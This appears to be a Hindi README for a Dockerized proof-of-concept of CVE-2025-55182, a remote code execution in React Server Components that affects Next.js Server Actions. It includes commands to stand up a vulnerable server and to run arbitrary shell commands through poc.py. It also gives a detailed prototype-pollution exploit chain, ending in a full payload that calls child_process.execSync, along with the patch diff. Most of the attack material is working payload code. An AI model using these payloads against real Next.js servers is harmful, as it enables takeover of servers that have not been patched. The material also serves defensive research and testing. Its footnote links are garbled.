
Dockerized proof-of-concept for CVE-2025-55182, React Server Components में प्रोटोटाइप प्रदूषण के माध्यम से एक गंभीर RCE, स्वचालित एक्सप्लॉइट स्क्रिप्ट और एक कमजोर Next.js परीक्षण वातावरण के साथ।
इस रिपॉजिटरी में CVE-2025-55182 के लिए एक डॉकराइज़्ड प्रूफ ऑफ कॉन्सेप्ट है, जो React Server Components (RSC) में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन भेद्यता है जो Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है।
मूल प्रूफ ऑफ कॉन्सेप्ट और भेद्यता विश्लेषण msanft द्वारा बनाया गया था। यह रिपॉजिटरी आसान परीक्षण और प्रदर्शन के लिए एक डॉकराइज़्ड परीक्षण वातावरण प्रदान करके उनके कार्य का विस्तार करती है।
requests लाइब्रेरी के साथ Python 3 (pip install requests)भेद्य Next.js सर्वर प्रारंभ करें:
docker compose up --build -d
सर्वर प्रारंभ होने की प्रतीक्षा करें (docker compose logs -f nextjs-server के साथ लॉग जांचें)
एक्सप्लॉइट चलाएँ:
# Automated script (recommended)
./exploit-docker.sh
# Or manually
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
सत्यापित करें कि एक्सप्लॉइट काम कर गया:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs उपयोगकर्ता (UID 1001) के रूप में निष्पादित होते हैंइस रिपॉजिटरी में भेद्यता के परीक्षण के लिए एक संपूर्ण Docker सेटअप शामिल है:
docker-compose.yml - Docker Compose कॉन्फ़िगरेशनtest-server/ - भेद्य Next.js अनुप्रयोगtest-server/Dockerfile - प्रोडक्शन Dockerfiletest-server/Dockerfile.dev - डेवलपमेंट Dockerfile (वैकल्पिक)भेद्य सर्वर Next.js 16.0.6 को एक साधारण Server Action के साथ चलाता है जिसका शोषण किया जा सकता है।
poc.py - Python प्रूफ ऑफ कॉन्सेप्ट स्क्रिप्ट (मूल msanft द्वारा, कोट एस्केपिंग सुधारों के साथ)exploit-docker.sh - Docker वातावरण के लिए स्वचालित एक्सप्लॉइट स्क्रिप्टDOCKER_SETUP.md - व्यापक Docker सेटअप दस्तावेज़ीकरण# Stop the container
docker compose down
# Remove everything (including volumes)
docker compose down -v
मूल शोध का विस्तृत भेद्यता विश्लेषण, शोषण श्रृंखला और पैच जानकारी नीचे प्रदान की गई है।
यह भेद्यता React Server Functions में RCE की अनुमति देती है, जैसे कि Next.js द्वारा असुरक्षित प्रोटोटाइप संदर्भों के माध्यम से प्रदान की जाती है।
मैं React या Next.js का विशेषज्ञ नहीं हूँ, इसलिए यहाँ दी गई सभी जानकारी को संदेह की दृष्टि से लें। इसके अलावा, मैं अभी भी विश्लेषण प्रक्रिया में हूँ, इसलिए जो मैं नीचे "भेद्यता" के रूप में वर्णित कर रहा हूँ वह पूरी श्रृंखला का केवल एक छोटा सा हिस्सा हो सकता है।
React Server Functions1 प्रदान करता है, जिन्हें HTTP-पर-RPC के रूप में देखा जा सकता है। इनका उपयोग कम विलंबता सुनिश्चित करने के लिए निकटवर्ती पीयर्स से डेटा प्राप्त करने, या प्रमाणित अनुरोध करने के लिए किया जा सकता है जिनके लिए क्लाइंट के पास क्रेडेंशियल नहीं होते।
React Server Functions को पारित मूल्यों के क्रमांकन के लिए React Flight Protocol2 नामक किसी चीज़ का उपयोग करता है।
क्लाइंट सर्वर को "chunks" पास करता है, जैसे कि फॉर्म डेटा के माध्यम से:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
जैसा कि दिखाया गया है, इनमें एक दूसरे के बीच संदर्भ हो सकते हैं। उपरोक्त पेलोड सर्वर पर निम्नलिखित में डिसीरियलाइज़ होता है:
{ object: 'fruit', name: 'cherry' }
प्रारूप स्वयं थोड़ा अधिक जटिल है और अधिक जटिल क्रमांकन और डिसीरियलाइज़ेशन की अनुमति देता है, लेकिन यह वास्तविक भेद्यता की बुनियादी समझ प्रदान करता है।
इस कमिट3 तक, संदर्भ समाधान में chunks को ट्रैवर्स करते समय, जैसे कि उपरोक्त उदाहरण में chunk 2 से fruitName प्राप्त करना, React यह सत्यापित नहीं करता था कि अनुरोधित कुंजी वास्तव में ऑब्जेक्ट पर सेट है या नहीं। इसने हमें ऑब्जेक्ट प्रोटोटाइप4 प्राप्त करने की अनुमति दी।
इसे इस तरह के पेलोड के साथ प्रदर्शित किया जा सकता है:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
जो फ़ंक्शन कंस्ट्रक्टर5 में डिसीरियलाइज़ होता है:
[Function: Function]
जब ID 0 वाला chunk एक ऐरे नहीं बल्कि एक ऑब्जेक्ट होता है, तो हम then कुंजी को फ़ंक्शन कंस्ट्रक्टर पर सेट कर सकते हैं। ऑब्जेक्ट तब decodeReplyFromBusboy फ़ंक्शन द्वारा लौटाया जाता है और Next.js द्वारा awaited किया जाता है:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
जब यह एक thenable लौटाता है, तो कॉलर में await इसे कॉल करेगा। इस पेलोड के साथ ऐसा ही होता है:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
जिससे यह त्रुटि उत्पन्न होती है:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
त्रुटि ऐसी दिखती है क्योंकि V8 एक await किए गए फ़ंक्शन को आंतरिक resolve और reject फ़ंक्शनों के साथ कॉल करता है, जो toString किए जाने पर कुछ इस तरह क्रमांकित होते हैं:
function () { [native code] }
चूँकि हम आसानी से Function कंस्ट्रक्टर प्राप्त कर सकते हैं, सीधा तरीका एक कॉल गैजेट खोजना है जो कंस्ट्रक्टर को उपयोगकर्ता-नियंत्रित मान के साथ आमंत्रित करता है (अर्थात, फ़ंक्शन का कोड एक स्ट्रिंग के रूप में), और बाद में लौटाए गए फ़ंक्शन को कॉल करता है।
ऐसे कई स्थान हैं जो फ़ंक्शन कंस्ट्रक्टर को कॉल कर सकते हैं, उदाहरण के लिए resolveServerReference, जहाँ id एक नियंत्रित ऑब्जेक्ट है, और lastIndexOf को उपयोगकर्ता-नियंत्रित स्ट्रिंग लौटाने के लिए ओवरराइट किया जा सकता है (जैसे Array.prototype.join के माध्यम से) और slice को फ़ंक्शन कंस्ट्रक्टर पर ओवरराइट किया जा सकता है। हालाँकि, यह स्थान काम नहीं करता क्योंकि .slice() का दूसरा आह्वान पहले तर्क के रूप में एक संख्या प्रदान करता है, जिसे - मेरी जानकारी के अनुसार - फ़ंक्शन कंस्ट्रक्टर द्वारा कभी संभाला नहीं जा सकता।
यहाँ, maple31426 का एक शानदार विचार आता है। जब getChunk संदर्भ श्रृंखला को हल करना शुरू करने के लिए ID 0 पर chunk को रूट संदर्भ के रूप में लेता है, यही chunk एक क्राफ्टेड "नकली chunk" में हल हो सकता है।
हम $@ सिंटैक्स का उपयोग करके chunk 1 में क्राफ्टेड chunk 0 को संदर्भित कर सकते हैं, जो "कच्चा" chunk लौटाता है, न कि उसका हल किया गया मान:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
इसे ऊपर के अपने then ओवरराइट के साथ जोड़कर, हम कुछ इस तरह क्राफ्ट कर सकते हैं:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
यहाँ, chunk 0 अपने स्वयं के कच्चे chunk प्रतिनिधित्व के .then() के साथ अपने स्वयं के .then() को ओवरराइट करता है। सीधे शब्दों में, हम अपने स्वयं के .then() को Chunk.prototype.then के साथ ओवरराइट करते हैं, जो मौजूद है, क्योंकि Chunks thenables हैं:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
उपरोक्त पेलोड के साथ, Chunk.prototype.then को अंततः ID 0 वाले क्राफ्टेड chunk के साथ कॉल किया जाता है।
जैसा कि ऊपर दिखाया गया है, जब हमारे नकली chunk पर .status resolved_model होता है:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
हम initializeModelChunk में पहुँचते हैं। यहाँ, .value को JSON के रूप में पार्स किया जाता है, और फिर ID 0 और 1 वाले हमारे chunks के "बाहरी" संदर्भ का उपयोग करके लौटाए गए ऑब्जेक्ट पर संदर्भ हल किए जाते हैं:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
इसके भीतर, हमें अब मूल्यांकन का दूसरा पास मिलता है, जिसमें हमारे पास कुछ अधिक मानों तक पहुँच होती है क्योंकि बाहरी संदर्भ पहले ही हल हो चुका होता है।
फ्लाइट प्रोटोकॉल में $B उपसर्ग के साथ ब्लॉब डेटा के हैंडलिंग में एक कॉल गैजेट है:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
विशेष _response फ़ील्ड का उपयोग करके, हम क्राफ्टेड chunk की response प्रॉपर्टी को नियंत्रित करते हैं:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
इसके साथ, हम नकली ._formData और ._prefix प्रॉपर्टी वाला एक ऑब्जेक्ट क्राफ्ट कर सकते हैं:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
.reason को initializeModelChunk में toString आह्वान पर विफल होने से बचने के लिए जोड़ने की आवश्यकता है:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
._formData को फ़ंक्शन कंस्ट्रक्टर की ओर और ._prefix को अपने कोड की ओर इंगित करके, हमें ब्लॉब डिसीरियलाइज़ेशन में फ़ंक्शन कंस्ट्रक्टर के लिए एक आह्वान गैजेट मिलता है:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
हमारा क्राफ्टेड फ़ंक्शन तब parseModelString द्वारा क्राफ्टेड chunk की .then() विधि के रूप में लौटाया जाता है, जिसे भी awaited किया जाता है, क्योंकि यह सब एक एकल promise resolving श्रृंखला में होता है। इस प्रकार, एक thenable लौटाने पर, हमारा क्राफ्टेड फ़ंक्शन कॉल किया जाता है। यह ऊपर संदर्भित आवश्यक कॉल गैजेट का गठन करता है।
इसे सब एक वास्तविक RCE पेलोड के साथ जोड़कर, हमें कुछ इस तरह मिलता है:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
प्रोटोटाइप प्रॉपर्टी प्राप्त करने के लिए chunk संदर्भों का उपयोग करना इस जांच के साथ ठीक किया गया है:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/x.com/maple3142%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩